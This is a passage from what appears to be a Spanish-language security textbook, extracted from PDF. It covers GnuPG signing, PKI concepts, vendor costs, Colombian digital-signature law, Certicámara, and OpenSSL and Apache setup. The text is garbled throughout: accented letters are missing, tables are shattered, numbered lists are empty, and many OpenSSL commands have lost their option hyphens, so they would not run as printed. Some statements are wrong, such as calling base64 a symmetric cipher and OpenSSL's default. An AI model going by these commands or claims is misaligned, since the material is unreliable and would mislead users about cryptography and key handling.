El texto es el siguiente:
Este es un acta que cierra el negocio entre Juan y Pedro.
Notario: Marcela Restrepo
File
Manager/ Sign.
En seguida se desplegara la siguiente pantalla que se encargara de definir las caractersticas de la firma
424
GnuPG pide al usuario Knoppix que digite la passphrase de su llave privada para firmar el documento.
Para
verificar
el xito de la
ejecucin
puede dar un
click
sobre
derecho
el
archivo
documento.asc y seleccionar verify/Decripty
Paso
15:
El
425
usuario Marcela Restrepo recibe el documento firmado y lo puede leer por que tiene la clave pblica del
usuario Knoppix. Se importo en un paso anterior al anillo de Marcela Restrepo.
Dirjase al archivo directamente y revselo mediante la opcin GpGee con el clic derecho de su mouse o
desde Windows / File Manager /
NOTA: Observar que en este sistema no has un tercero que certifique la autenticidad de la llave pblica.
Paso 17: Finalmente el usuario Marcela Restrepo desea enviar un texto cifrado y firmado al usuario
knoppix.
GnuPG pide la passphrase de la llave privada por que esta firmado y genera el archivo secreto.asc:
426
Paso 18: El usuario knoppix toma el archivo cifrado y firmado del directorio /TMP para simular que le ha
llegado el archivo /tmp/secreto.sig
El sistema pide la passphrase del usuario knoppix y genera el archivo en claro que construyo Marcela
Restrepo.
Bibliografa
The official PGP users Guide, Philip Zimmermann, Editorial MIT press, Quinta edicin, 2000
Encryption for Everyone PGP Pretty Good Privacy, Simson Garfinkel, Editorial Oreilly, 1994
Secure Messaging With PGP and S/MIME, Rolf Oppliger, Editorial Artech House Publishers, 2000.
427
Objetivos:
Implementar un cliente de tipo explorador para autenticar usuarios con certificados digitales
Introduccion
Hace algunos anios la preocupacin se centraba en el permetro pero hoy el comercio electrnico esta
cambiando nuestra forma de pensar, y esto se debe a que el permetro ahora esta distribuido, pues muchas
organizaciones tienen por lo menos su portal web y el servicio de correo eletronico en hosting, es decir fuera
de su permetro local.
Hoy no se pueden concebir los negocios electrnicos sin las claves pblicas, pero las claves pblicas generan
otro problema, El como asociar una clave pblica de forma univoca a una persona, servidor o cosa, es aqu
donde la Infraestructura de llaves pblicas o PKI interviene para resolver esta problemtica.
Como en la vida real respecto de los directorios telefnicos las claves pblicas tambin cambian, existen
varios proveedores de certificados digitales como de directorios telefnicos, por que confiar en un proveedor
de certificados de propsito especfico? Qu pasara si un certificado es revocado? Como se le informa a los
proveedores y clientes que ese certificado ya no es vlido? Es vlido el certificado publico del cliente con el
que estoy haciendo transacciones? Esta capitulo busca analizar estas preguntas y las aplicaciones reales de
PKI en forma prctica mostrando un ejemplo de la vida real.
2.0
Antecedentes
No se debera pensar mucho en el permetro local pues la seguridad debe estar implcita en los servicios
fundamentales del comercio electrnico, los servicios digitales deberan incluir las siguientes caractersticas
para ser equivalentes al mundo analogo:
Las caracteristicas minimas para hacer comercio electrnico son:
2.1 Identificacion:
Es el proceso de reconocer a una entidad o a un individuo dentro de un grupo.
Por ejemplo cuando los empleados de ventas de una empresa viajan generalmente necesitan acceder a
Internet, entonces lo hacen con la misma cuenta y contrasenia compartida.
2.2 Autenticacin:
Es el proceso mediante el cual se comprueba y verifica que algo no ha cambiado y que es el original.
428
Por ejemplo un usuario puede firmar un documento antes de enviarlo y tener la certeza de que el
documento original no ha sido modificado puesto que ha sido firmado. Si se alterara el mensaje la firma no
sera vlida y se puede constatar o verificar que el mensaje ha sido firmado por una determinada persona.
2.3 Autorizacion:
Es el proceso de determinar lo que puede hacer una entidad o persona.
Por ejemplo un usuario que tiene una cuenta corriente en un banco no debera tener acceso a cuentas de
ahorros, ttulos valores, prestamos, bancaseguros, etc
En el mundo electrnico la autorizacin depende de la autenticacin que en conjunto de las reglas del
negocio determinan si el usuario o entidad tiene acceso al servicio electrnico.
2.4 Integridad:
Es el proceso de garantizar que la informacin no ha cambiado en la transaccin electronica.
En el ejemplo de la firma electrnica de documentos antes mencionada, se debe tener la particularidad de
que dependa no slo de la identidad del remitente sino tambin del contenido del mensaje, por lo que si este
es alterado, la firma ya no ser vlida.
2.5 Confidencialidad:
Es el proceso de mantener la informacin en secreto. La confidencialidad genera privacidad, de hecho se
consideran sinonimos.
En el ejemplo de la firma electrnica de documentos antes mencionada, permite a un usuario mediante
cifrado garantizar que solamente el destinatario podr leer el mensaje. La criptografa ayuda a que las
personas no autorizadas vean el contenido de sus mensajes cifrados, es la caracterstica mas conocida en
criptografia.
2.6 No repudio:
Es el proceso que garantiza que el emisor no pueda negar lo que hizo. No repudio equivale al termino de
Aceptacion y es una de las caractersticas mas difciles de grantizar. En el ejemplo de la firma electrnica
de documentos antes mencionada, el emisor no podr negar que el firmo o cifro el documento enviado.
Criptografia Simetrica
429
La criptografa simetrica es la mas conocida pues fue utilizada por los egipcios hasta los romanos pasando
hoy por las aplicaciones comerciales de telefona mvil, cifrado de documentos en ofimatica, cifrado de
canales de red y cifrado de datos en aplicaciones de bases de datos. Algunos ejemplos muy conocidos son
DES, 3DES y AES.
Sus caractersticas principales se podran enunciar como:
3.2
Criptografia Asimetrica
La criptografa Asimetrica es la mas moderna y es el futuro del comerio electrnico, los ejemplos mas
conocidos son RSA y ECC.
A diferencia de las claves simtricas donde emisor y receptor usan la misma clave o contrasea, en las
claves pblicas asimtricas el emisor (E) y el receptor (R) crean un par de claves que consisten en una clave
privada y una pblica.
Se debe hacer un requerimiento de certificado digital por cada elemento que interviene en la trasmisin de
datos electrnicos seguros
Emisor y receptor guardan su clave privada con recelo y hasta con una contrasea (autenticacion) para
evitar que sea legible a personas no autorizadas
Emisor y receptor ahora tienen su clave pblica, esta la puede y la debe tener cualquier persona que desee
enviar documentos seguros a sus dueos, los directorios de los proveedores contienen esas claves pblicas
430
Este diagrama muestra las fases de firmar y cifrar y que claves se requieren para cada paso en el proceso.
Ejemplos de implementaciones de llaves asimtricas son Open SSL y Gnu PG (PGP) que funcionan como un
algoritmo del tipo de clave pblica asimtrica
3.3
Esta es la solucion, usar lo mejor de cada tecnologa, hoy la mayora de servicios como el correo electrnico
seguro, las VPN que interconectan oficinas remotas, las sesiones seguras entre cliente y servidor web, etc
Los criterios deseables:
1.
2.
3.
4.
5.
6.
7.
8.
431
Pasos del proceso como ocurren en los servicos que se utilizan hoy:
Transmisor:
1. El texto en claro de gran volumen se cifra con criptografa simetrica mediante una clave simetrica
aleatoria generalmente de 128/256 bits
2. Se consigue la clave pblica del receptor en un directorio, generalmente la clave pblica tiene
1024bits
3. Se cifra la clave simetrica con la clave pblica del receptor: Operacin de clave empaquetada
4. Se crea un sobre digital que contiene la clave simetrica cifrada + el texto cifrado con la clave
simetrica
5. Se enva el sobre digital
Receptor:
6. El receptor abre el sobre: Encuentra el texto cifrado y la clave empaquetada
7. El receptor con su clave privada descifra la clave empaquetada
8. Ahora el receptor descifra el archivo cifrado y lo convierte a texto en claro con la clave simetrica
Problemas:
Que pasara si un pirata consigue mi clave pblica y se hace pasar por un transmisor conocido que me
enva informacin falsa?
Rta: Se debe firmar el hash de tipo sha1 (160 bits) del texto con la clave privada del transmisor, esto
garantizara el requerimiento numero 7: Soporte de firmas digitales
Qu pasara si el pirata cambia en el directorio publico la llave pblica del transmisor?
Rta: Se deben utilizar los certificados digitales X.509, esto garantizara el requerimiento numero 8: Soporte
al no repudio
Entonces definamos que es un certificado digital y por que se necesitan entidades de confianza para que las
criptografas simetricas y asimtricas sean aceptadas por las leyes locales de cada pas cuando se hagan
transacciones de comercio electronico.
4.0
PKI
Se define PKI como Una infraestructura de clave pblica (o, en ingls, PKI, Public Key Infrastructure)
es una combinacin de hardware y software, polticas y procedimientos de seguridad que permiten la
ejecucin con garantas de operaciones criptogrficas como el cifrado, la firma digital o el no repudio de
transacciones electrnicas
El objetivo fundamental de PKI es establecer identidades digitales, es decir asociar a una entidad (personas,
organizaciones) o cosas (router, firewall) una unicidad con su par de llaves pblica/privada
La posesin de una pareja de claves pblica/privada no es suficiente para establecer la identidad confiable
de una persona o cosa, se requieren relaciones de confianza como en el mundo anlogo respecto de los
notarios, los notarios son al mundo anlogo como las CA o entidades certificadoras son al mundo digital.
Importante:
La CA es la entidad certificadora
La CA tiene su propia clave privada y su clave pblica diferentes a los usuarios que tienen sus propias
claves privadas y pblicas
La CA firma el requerimiento de un usuario con su clave privada para crear la clave pblica que le
solicitaron (Se la vende al usuario, ese es el negocio de las CA)
432
PKI logra establecer identidades digitales asi: La CA hace un hash de la clave pblica y la firma con su clave
privada (de la CA), ahora empaqueta en un solo archivo los datos de la persona o cosa, la clave pblica de la
persona o cosa, el hash firmado con la clave privada de la CA, y la clave pblica de la CA.
Conceptos Generales
Qu es una Firma Digital ?
Documento
FIRMADO
DIGITAL
CERTIFICADO
DIGITAL
Septiembre de 2007
CERTICMARA S.A.
MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGg
UAMIAGCSqGSIb3DQEHAQggL5oAMCAQICAQEwDQYJK
oZIhvcNAQEFBQAwgYwxCzAJBgNVBAYTAkNPMR8wHZX
JhIDkgMTYtMjEgQm9nb3RhMTIwMAYDVQQKEylDZXJ0a
WwMTA1MjMyMjAwMDBaFw0xMTA1MjMyMjAwMDBaMIG
MMQswCQYDVQQGEwJDTzQ2FycmVyYSA5IDE2LTIxIEJv
Z290YTEyMDAGA1UEChMpQ2VydGljYW1hcmEgUy5BLiIG
RlIENlcnRpZmljYWNpb24xKDAmBgNVBAMTH0NlcnRpZml
jYWRvIEVtcHJlc2FyaWFLUEwggEiMA0GCSqGSIb3DQEBA
QUAA4IBDwAwggEKAoIBAQCvyryGutKbt2pX5w0UNYFtP
uGBrkAI..
Importante:
Tecnicamente un Certificado digital es el hash de la clave pblica firmada con la clave privada de
la CA, mas la informacin de la persona o cosa, mas la clave pblica de la CA, mas la clave pblica
de la CA Raiz, esto es critico pues permite verificar la jerarqua de confianza leyendo un solo archivo
digital
En Colombia la nica entidad certificadora a la fecha es Certicamara, esto se debe por la poca
demanda de certificados digitales
Por ley en Colombia solo son validas las firmas digitales hechas con los certificados digitales
expedidos por certicamara
Si una investigacin forense se firma con un certificado digital expedido por una CA que no esta en
colombia, esta investigacin no tendr fuerza ante un juez.
433
Soluciones Externas
Certificados de usuario para los empleados que permitan firmar correos entre entidades/empresas
de confianza
Certificados de usuario para los empleados que permitan cifrar correos entre entidades/empresas
de confianza
Proveer certificados de servidor a terceros (Prestador de Servicios de Certificacin)
En resumen las organizaciones requieren de una infraestructura de claves pblicas por los siguientes
requerimientos:
434
Certificados
servidor
OpenCA
Si
Si
Soporte,
capacitacin
Colombia
No
RSA
Si
Si
No
Nexsus
IDX-PKI
Safelayer
Camerfirma
Indenova
Astaro
Si
Si
Si
Si
Si
No
tipo
Certificados
usuario
Si
Si
Si
Si
Si
Si
tipo
No
No
No
No
No
Si
Verisign
Si
Si
No
Entrust
Si
Si
No
Costo
en
0
+
capacitacin
auto
US$175
dlares
por
usuario
/
servidor si compra
1.000 certificados
US$99 dlares por
usuario / servidor
si compra 10.000
certificados
No suministra info
No suministra info
No suministra info
No suministra info
No suministra info
US$15.000
No vende los
certificados
nicamente vende
el software
appliance PKI para
correos
US$70 dlares por
usuario/servidor si
compra 1000
certificados
US$25.000 el
software base PKI
US$1 dlar por
usuario/servidor si
compra de 5.000 a
10.000 certificados
Anlisis de alternativas:
Todos los proveedores consultados en general cumplen con los dos tipos de certificados digitales
requeridos, excepto el fabricante de UTM (administracin centralizada de amenazas) Astaro que es
una solucin europea especializada en PKI nicamente para la gestin de correos seguros respecto
del negocio de las PKI. Su verdadero negocio son los cortafuegos de tipo UTM.
Para el caso de Colombia y sur Amrica no existe soporte local excepto Astaro que si cuenta con un
distribuidor local.
En todas las soluciones se requiere un alto grado de conocimiento de PKI es decir no es
transparente para el usuario final, excepto Astaro que en forma transparente cifra y descifra los
correos seguros. Astaro fue la nica opcin que inclua appliance y lo haca transparentemente para
435
el usuario final pero no tena la opcin de certificados de tipo servidor, es decir no cumple con la
totalidad de los requerimientos de la solucin
No hay precios homogneos por solucin, pues unos proveedores lo hacen por nmero de usuarios,
otros por servidor y otros hacen combinaciones haciendo ms compleja la tarea de comparar
precios
Se encuentran muy pocos proveedores locales expertos de servicios profesionales de OpenCA
Posee un API que puede ser utilizado desde los lenguajes de desarrollo de software para que el
programador pueda mejorar sus propias interfaces de gestin, el resto de proveedores evaluados
no muestran la existencia de un API para que el implementador mejore las caractersticas de cada
opcin
En general las opciones evaluadas no poseen soporte local lo que generara dependencia
tecnolgica de estos proveedores que en la mayora de los casos estn en otros continentes, en
cambio OpenCA por ser de tipo OpenSource permite que localmente se mejore la documentacin y
se hagan cambios especficos para la regin, esto la hace una opcin altamente deseable segn los
requerimientos anteriormente enunciados
Por ser OpenCA de licencia OpenSource no tiene costo de adquisicin pero si hay costos de
implementacin y capacitacin interna para aprender a manejar la herramienta
Con OpenCA la curva de aprendizaje es ms larga que la de los productos ya establecidos en otros
pases que ya tienen documentacin y soporte probado en sus pases de origen
Definitivamente los precios de los certificados individuales y la poca integracin con las aplicaciones
es lo que ha hecho difcil la implementacin de PKI pues finalmente es el usuario quien paga estos
costos.
Es una oportunidad nica para aportar soluciones a la regin en el tema especifico de PKI con
OpenCA
Costos de la solucin
Item
Servidor PKI
Costo en dlares
Americanos
3.703
380
Comentarios
No se cuenta con un servidor para
reutilizar, tampoco se cuenta con
la versin de Linux SUSE 10
Enterprise Server con drivers para
la SAN
Se cuenta con un Astaro 120 de
propiedad de Globaltek para
reutilizarlo. Solo se debe seguir
actualizando el mantenimiento
anual
Globaltek
es
distribuidor
autorizado de este sistema de
control
1.200
436
Globaltek
es
distribuidor
autorizado de este sistema de
control
para
dispositivos
de
usuarios finales
software
denominado
Safend
de
www.safend.com que valida los seriales
respectivos contra la base de datos de usuarios
autorizados en el directorio de usuarios
Administrador del servicio PKI como empresa
independiente por un ao laboral ms
prestaciones
36.000
US$3000 mensuales
US$36.000
12
Instalacin,
mantenimiento
y
mejoras
localizadas a la regin del software OpenCA
para una gestin grafica ms fcil
UPS independiente del sistema central con
capacidad de 4 KVA
2.000
1.200
1.200
3.000
5.0
5.1
Este es un resumen de las leyes expedidas en Colombia relacionadas con la regulacin sobre las PKI:
Ley 527 de agosto de 1999, define y reglamenta el acceso y uso de mensajes de datos (MD), del
comercio electrnico, firmas digitales y entidades de certificacin (EC)
Decreto 1747 de 2000, reglamenta parcialmente la Ley 527 de 1999 en lo relacionado con las Entidades
de Certificacion, los certificados y las firmas digitales. Las Entidades de Certificacion requieren de permiso
expreso de la Superintendencia de Industria y Comercio de Colombia para actuar como tal. El decreto 1747
decreta dos tipos de entidades de certificacin:
La Circular 011 de 2003, de Supervalores que exige el uso de firmas digitales certificadas para el envo de
reportes por los vigilados de esa entidad.
La Circular No. 643 de 2004, posibilitan y fijan las condiciones para la remisin de documentos de origen
notarial desde las Notaras Colombianas a las Cmaras de Comercio utilizando firmas digitales.
La Circular 011 de 2004, de Supersalud, que exige el uso de firmas digitales certificadas para el envo de
reportes de informacin financiera y general por parte de las IPS (Instituciones Prestadoras de Servicios
privadas).
La Circular 012 de 2004, de Supersalud, que exige el uso de firmas digitales certificadas para el envo de
reportes de informacin financiera y general por parte de las ESE (Empresas Sociales del Estado).
437
La Circular 013 de 2004, de Supersalud, que exige el uso de firmas digitales certificadas para el envo de
reportes de informacin sobre el IVA (Impuesto de valor agregado) cedido al sector Salud por parte de las
gobernaciones, secretarias de hacienda, secretarias de salud y productores de licores entre otros.
La ley 794 de 2003, que se requiri para convalidar expresamente el uso de medios electrnicos y firmas
digitales certificadas en el procedimiento civil. (En espera reglamentacin)
La circular 27 del 26 de julio de 2004 de la Superintendencia Bancaria (hoy superfinanciera) que da paso
a pruebas de comunicacin entre sus empresas vigiladas y la superintendencia utilizando firmas digitales.
La circular externa 50 de 2003 del Ministerio de Industria y Comercio, establece la posibilidad del registro
de importacin a travs de Internet. Este trmite puede hacerse de forma remota firmado digitalmente y de
ese modo reducir el trmite que se piensa racionalizar por este medio.
CERTIFICACION DIGITAL LEY 962 Ley Antitramite como: Medios tecnolgicos en la Administracin
Pblica, Derecho de Turno, Factura electrnica, Racionalizacin de la conservacin de los libros del
Comerciante, Solicitud oficiosa por parte de las entidades pblicas
Circular de Supersociedades: Dirigida a todas las sociedades mercantiles vigiladas y controladas por la
superintendencia para el envio de informacin financiera y contable a travs del sistema SIREM, el Sistema
de Informacin y Riesgo Empresarial un sistema via web que permite entregar todos los reportes e informes
por esta via con el uso de certificados digitales.
El Sistema Integrado de Informacin Financiera SIIF - NACIN, en su labor misional de centralizar e
integrar la operacin financiera en lnea de la mayor parte de las entidades que conforman el Presupuesto
General de la Nacin, y con el fin de garantizar un sistema robusto de autenticacin y gozar de garantas de
autenticidad, no repudiacin e integridad, ha incorporado a sus transacciones y reportes el uso de la Firma
Digital que ofrece un esquema de seguridad tecnolgica y jurdica a las transacciones realizadas por las
diferentes entidades dentro del sistema SIIF NACION. En la actualidad ya mas de 145 entidades del estado
firman las transacciones del presupuesto general de la nacin.
RESOLUSIONES DIAN: las resoluciones que hoy da - hacen posible la utilizacin de firmas digitales y/o
electrnicas respaldadas con certificacin digital, en la presentacin de informacin tributaria por parte de
diversos contribuyentes. Permiten el uso de firma electrnica con certificacin digital para ciertos grupos de
usuarios delimitados por las siguientes resoluciones
Resolucin No 10141 (28 Oct. 2005) Art. 10: Entidades vigiladas por la Superintendencia Bancaria
Resolucin No 10142 (28 Oct. 2005) Art. 6: artculo 624 del Estatuto Tributario, que debe ser
presentada por las Cmaras de Comercio
Resolucin No 10143 (28 Oct. 2005) Art. 5 :Bolsas de valores y por los Comisionistas de Bolsa
Resolucin No 10144 (28 Oct. 2005) Art. 4: por la Registradura Nacional del Estado Civil
Resolucin No 10145 (28 Oct. 2005) Art. 5: por los Notarios
Resolucin No 10146 (28 Oct. 2005) Art. 4: por las personas o entidades que elaboren facturas o
documentos equivalentes.
Resolucin No 10147 (28 Oct. 2005) Art. 19: grupo de personas naturales, personas jurdicas y
dems entidades
Resolucin No 10148 (28 Oct. 2005) Art. 6: por los Grupos Econmicos y/o Empresariales
Resolucin No 10149 (28 Oct. 2005) Art. 3: suministrar mensualmente las entidades pblicas o
privadas que celebren convenios de cooperacin y asistencia tcnica para el apoyo y ejecucin de
sus programas o proyectos, con organismos internacionales
Prximamente se establecer las comunicaciones oficiales pertinentes para el registro sanitario en lnea del
INVIMA, la presentacin de reportes e informes de los vigilados de la Superintendencia Solidaria, SEC
Sistema Estadstico Cambiario del Banco de la Repblica.
Consejo Superior de la Judicatura ACUERDO No. PSAA06-3334 DE 2006 (marzo 2) Por el cual se
reglamentan la utilizacin de medios electrnicos e informticos en el cumplimiento de las funciones de
administracin de justicia LA SALA ADMINISTRATIVA DEL CONSEJO SUPERIOR DE LA JUDICATURA
438
5.2
Ques es Certicamara?
Nota: El autor en forma expresa agradece a Marcela Bello, directora comercial de Certicamara por los
excelentes aportes realizados para este articulo sobre PKI (marcela.bello@certicamara.com)
Certicmara S.A, es una empresa filial de las Cmaras de Comercio y Confecmaras, fue creada en el ao de
2001 y es la nica entidad de certificacin digital abierta en el pas, autorizada y vigilada por la
Superintendencia de Industria y Comercio. Certicamara es el tercero de confianza que garantiza la seguridad
jurdica y tecnolgica a las transacciones, comunicaciones, aplicaciones y en general a todo proceso de
administracin de la informacin digital.
Certicamara cumple con los ms altos estndares internacionales exigidos por el American Institute of
Certified Public Accountants (AICPA) y el Canadian Institute of Chartered Accountants (CISA), es auditada
por la firma internacional Deloitte y obtuvo el sello WEB TRUST que los califica como una entidad de
certificacin digital de clase mundial, as como el reconocimiento de Microsoft a sus productos y servicios a
nivel mundial.
CERTIFICADO
CERTIFICADO
CERTIFICADO
CERTIFICADO
CERTIFICADO
CERTIFICADO
SOLUCIONES DE CERTIFICACIN
SISTEMA ADMINISTRADOR DE FIRMAS DIGITALES (SAFD)
Es un aplicativo que permite la gestin: recepcin, verificacin, clasificacin, archivo y consulta de grandes
volmenes de documentos firmados digitalmente.
ESTAMPADO CRONOLGICO
El estampado cronolgico es un servicio mediante el cual se puede garantizar la existencia de un documento
(o mensaje de datos en general) en un determinado instante de tiempo. Mediante la emisin de una
estampa de tiempo es posible garantizar el instante de creacin, modificacin, recepcin, etc., de un
439
determinado mensaje de datos impidiendo su posterior alteracin, haciendo uso de la hora legal colombiana
suministrada por la Superintendencia de Industria y Comercio.
Las soluciones de Certificacin Digital ofrecidas por Certicmara brindan garantas de seguridad jurdica
y tcnica basadas en la aplicacin de la tecnologa PKI, dentro del marco legal y tcnico para el uso de
firmas y certificados digitales en el envi, recepcin, archivo y procesamiento de mensajes de datos a partir
de la Ley 527 de 1999, conocida como Ley de Comercio Electrnico y su decreto reglamentario 1747 de
2000, as como la Circular Unica nmero 10 de la Superintendencia de Industria y Comercio.
En la actualidad entidades financieras, estatales y privadas han implementado soluciones de certificacin
digital y habilitando el uso de firmas digitales al interior de sus sistemas y procedimientos, incorporando
estrategias de seguridad jurdica y tecnolgica en la administracin de la informacin digital.
Estos son algunas organizaciones que ya cuentan con certificados pblicos emitidos por la entidad
certificadora Colombiana:
Superintendencia Financiera , Superintendencia de Sociedades, Superintendencia Nacional de Salud,
Ministerio de Hacienda y Crdito Publico - SIIF Nacin, Programa de las Naciones Unidas PNUD, Instituto
Nacional de Vas INVIAS, Procuradura General de la Nacin Sistema SIRI, Aeronutica Civil, Ministerio
de Comercio, Industria y Turismo Ventanilla nica de Comercio Exterior (VUCE), Instituto Nacional de
Vigilancia de Medicamentos y Alimentos - INVIMA - Registro Sanitario en lnea, Wackenhut, Corporacin
financiera Colombiana - Corficolombiana , Cmaras de Comercio y Confecmaras Registro nico
Empresarial (RUE), ACH Colombia S.A. Botn nico de Pagos (PSE) y Giros y Finanzas S.A.
En la actualidad Certicmara cuenta con un volumen importante de suscriptores, entre los cuales figuran:
Representantes Legales, Suplentes de Representante Legal, Revisores Fiscales, Contadores, Coordinadores
de Recaudo, Oficiales de Cumplimiento, Directores Jurdicos, Coordinadores Logsticos y Tesoreros, entre
otros.
La mayora de portales Web colombianos han incorporado Certificados Digitales de Servidor
Seguro para brindar a sus usuarios seguridad en sus transacciones. Igualmente todos los comercios y
entidades financieras que hacen parte de la red del Proveedor de Servicios Electrnicos (PSE) de ACH
Colombia, incorporan certificados digitales de Certicmara al sistema de pagos electrnicos seguros.
440
6.0
Conclusiones de PKI
En general las soluciones PKI siguen siendo costosas por la poca demanda de certificados digitales, se
espera que al aumentar la demanda de certificados digitales, por fuerza natural aumente la oferta, es
decir aumente el numero de proveedores CA locales
Una forma de disminuirlos es combinar las PKI pblicas con las PKI cerradas donde las empresas solo
compren un certificado a la CA raz y en forma cerrada ese certificado garantice que los certificados que
emita la entidad cerrada sean validos cuando los clientes lo usen contra la entidad cerrada para sus
transacciones comerciales. Un ejemplo seria un banco o entidad financiera que acta como entidad
cerrada y genera los certificados digitales a sus clientes con el objeto de que estos interacten con el
banco en forma segura pero avalada por la CA raz local.
Es de mal gusto ver un mensaje en el explorador del usuario final indicando que el certificado digital no
es confiable al no estar avalado por una CA raz en la memoria cache del explorador pues indica que
debemos desconfiar de la transaccin.
En general se puede concluir que se requieren conocer muchas temticas variadas como openssl,
openldap, apache, Linux, tokens, smart cards y lenguajes de programacin que deben ser integrados
para que la solucin sea funcional y segura. Esto hace que las PKI no sean fciles de integrar a las
aplicaciones
Falta aun que las aplicaciones hagan uso de los API que permiten PKI entre aplicaciones.
Se han desarrollado programas en PHP sobre Apache y Linux para manejar un directorio de usuarios
basados en OpenLDAP (single Sign On) y para este proyecto se ha preferido mejorar OpenCA o
integrarse a su API para generar las consultas y reportes que pasen datos al sistema de gestin de
seguridad de la informacin.
Se disminuyen costos de adquisicin de las herramientas licenciadas
7.
8.
Instalacion de OpenSSL
El sitio principal de OpenSSL es www.openssl.org, se descarga la ltima versin y se instala con las
siguientes lneas de comandos:
# tar xjvmf openssl-*.tar.bz2
# cd openssl*
#./config shared -fPIC
441
# make
# make test
# make install
Es importante anotar que por defecto estos programas se instalan en la carpeta /usr/local/ssl y los binarios
estarn en /usr/local/ssl/bin.
El archivo/fichero de configuracin global openssl.cnf reside en la carpeta: /usr/local/ssl/openssl.cnf
Nota Importante:
Hay que modificar la variable PATH del usuario para que el binario de openssl sea buscado en la carpeta
/usr/local/ssl/bin asi:
# PATH=/usr/local/ssl/bin:$PATH
Para compilar software como apache u openldap se recomienda crear la carpeta /usr/local/ssl/lib como link
simbolico de /usr/local/ssl/lib64
Observe que no existe la carpeta lib64
# cd /usr/local/ssl
# ln s lib lib64
No olvide adicionar al archivo/fichero /etc/ld.so.conf el directorio de las nuevas libreras de ssl que seria
/usr/local/ssl/lib
Luego compile con:
# ldconfig -v
9.
Openssl puede usarse por defecto como una implementacin de claves simetricas, es decir se puede usar
para cifrar y descifrar textos con una clave conocida por receptor (R) y emisor (E).
Para cifrar con el algoritmo simetrico DES se debe usar el siguiente comando:
# openssl enc -des salt base64 k clave in texto.txt out texto.txt.des
Para descifrar se debe usar el siguiente comando:
# openssl des d base64 k clave in texto.txt.des out texto.txt
El parametro des se puede cambiar por cualquiera de los algoritmos simetricos que soporta openssl por
ejemplo AES de 256 bits, 3DES o el defecto que es base64.
Para cifrar con el algoritmo simetrico AES de se debe usar el siguiente comando:
# openssl enc -aes-256-cbc salt base64 k clave in texto.txt out texto.txt.aes
Para descifrar con el algoritmo simetrico AES se debe usar el siguiente comando:
# openssl aes-256-cbc d base64 k clave in texto.txt.aes out texto.txt
Para cifrar con el algoritmo base64 de se debe usar el siguiente comando:
# openssl enc -base64 salt k clave in texto.txt out texto.txt.base64
442
Para descifrar con el algoritmo simetrico base64 se debe usar el siguiente comando:
# openssl base64 -d k clave in texto.txt.base64 out texto.txt
La clave simetrica tambin se puede pasar como un archivo, para ello no se utiliza la opcin k, en cambio
se debe usar la opcin pass file:archivo.ssl
Para no generar una salida en formato binario se puede usar la opcin base64
Para generar las llaves privada con el default de 1024 bits y generar la llave pblica de la Entidad
Certificadora (CA) en un solo paso digite:
# openssl req new x509 keyout cakey.pem out cacert.pem days 365 outform PEM
Notas:
Se debe observar que las extensiones deben ser .pem pues esta extensin es la estndar esperada
por el parmetro outform PEM.
La opcin keyout cakey.pem indica generar la llave privada.
Se recomienda estar posicionado en el directorio /usr/local/ssl.
Para generar las llaves privada con un tamanio de 2048 diferente al default de 1024 bits y generar la llave
pblica de la Entidad Certificadora (CA) en un solo paso digite:
# openssl req newkey rsa:2048 x509 keyout cakey.pem out cacert.pem days 1500 outform PEM
Notas:
Se debe observar que las extensiones deben ser .pem pues esta extensin es la estndar esperada
por el parmetro outform PEM.
La opcin keyout cakey.pem indica el archivo/fichero donde se generar la llave privada.
La opcin newkey rsa:2048 indica el tamanio diferente al defecto de 2048.
443
Ahora la entidad CA debe generar un directorio para firmar requerimientos de llaves pblicas, por ejemplo:
# mkdir p /usr/local/ssl/demoCA/private
# mkdir p /usr/local/ssl/demoCA/newcerts
Copie la llave privada cakey.pem al directorio de llaves privadas:
# cp cakey.pem /usr/local/ssl/demoCA/private
Genere el archivo index.txt que contendr una lista de los certificados pblicos generados:
# touch /usr/local/ssl/demoCA/index.txt
Genere el archivo de nombre serial que contendr el consecutivo de certificados pblicos generados, debe
iniciar en ceros:
# echo 00 > /usr/local/ssl/demoCA/serial
Para ver informacin de un certificado expedido por una entidad certificadora digite:
# openssl x509 noout subject in mva.crt
Para mirar una llave privada
# openssl rsa noout text in mva.key
Para mirar una llave de requerimiento de certificado
# openssl req noout text in mva.csr
444
Los certificados digitales son ideales para cifrar las claves secretas no para cifrar archivos grandes pues
consumiran demasiado tiempo de CPU y espacio en disco duro que haran ineficiente el uso de las llaves
digitales:
Significado
------SSL/TLS Web Server Authentication.
SSL/TLS Web Client Authentication.
Code signing.
E-mail Protection (S/MIME).
Trusted Timestamping
Microsoft Individual Code Signing (authenticode)
Microsoft Commercial Code Signing (authenticode)
Microsoft Trust List Signing
Microsoft Server Gated Crypto
Microsoft Encrypted File System
Netscape Server Gated Crypto
Ejemplos:
Para firmado de cdigo proveniente de fuentes seguras: extendedKeyUsage=critical,codeSigning,1.2.3.4
445
446
f2:61:d4:80:24:62:03:4d:60:2a:b8:5b:c4:a8:29:39:66:aa:
20:69:dc:f5:d4:76:bc:3e:e0:cd:23:a2:d0:09:61:73:9c:eb:
94:9c:29:83:3d:57:71:22:47:c2:42:ef:5d:f4:94:62:01:8f:
3e:88:dc:cd:bc:37:ae:62:fa:7e:fd:a0:fd:d9:ad:fc:71:d6:
59:e3:b7:35:fb:ff:31:df:b8:a3:30:31:03:17:4e:09:4b:6d:
2b:ac:ae:7f:13:3e:08:35:4e:98:4a:c4:74:52:c1:bc:d8:95:
ca:6f:4f:62:25:0a:ea:f9:06:f3:5e:43:85:26:35:ec:39:85:
ce:6a:44:fb:af:dd:c4:5c:b2:ac:fe:28:e4:4e:85:cf:2f:51:
c0:db:df:af
As se vera el archivo de configuracin openssl.cnf en secciones para ser usado por la herramienta openssl:
Para crear tuneles:
[ stunnel ]
basicConstraints=critical,CA:FALSE
extendedKeyUsage=serverAuth
Para ver un certificado digital creado nicamente para cifrar archivos en Microsoft Windows:
# openssl x509 -noout -text -in cliente_correo-cert.pem
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 1 (0x1)
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=CO, ST=Cundinamarca, L=Bogota, O=CA, OU=Sistemas, CN=localhost
Validity
Not Before: Dec 24 17:23:56 2011 GMT
447
11.
ms
actualizada
de
Apache
448
debe
copiarse
la
ltima
versin
desde
La versin 2.x, se debe instalar con los siguientes comandos para soportar SSL
# tar xvzf httpd*.tar.gz
# cd httpd*
#./configure
# make
# make install
--enable-module=so
--enable-ssl
start
449
Ahora digite:
# GET / http/1.0
Seguido digite dos veces la tecla Enter y obtendr la pagina web del servidor.
450
13. Laboratorio:
Objetivo:
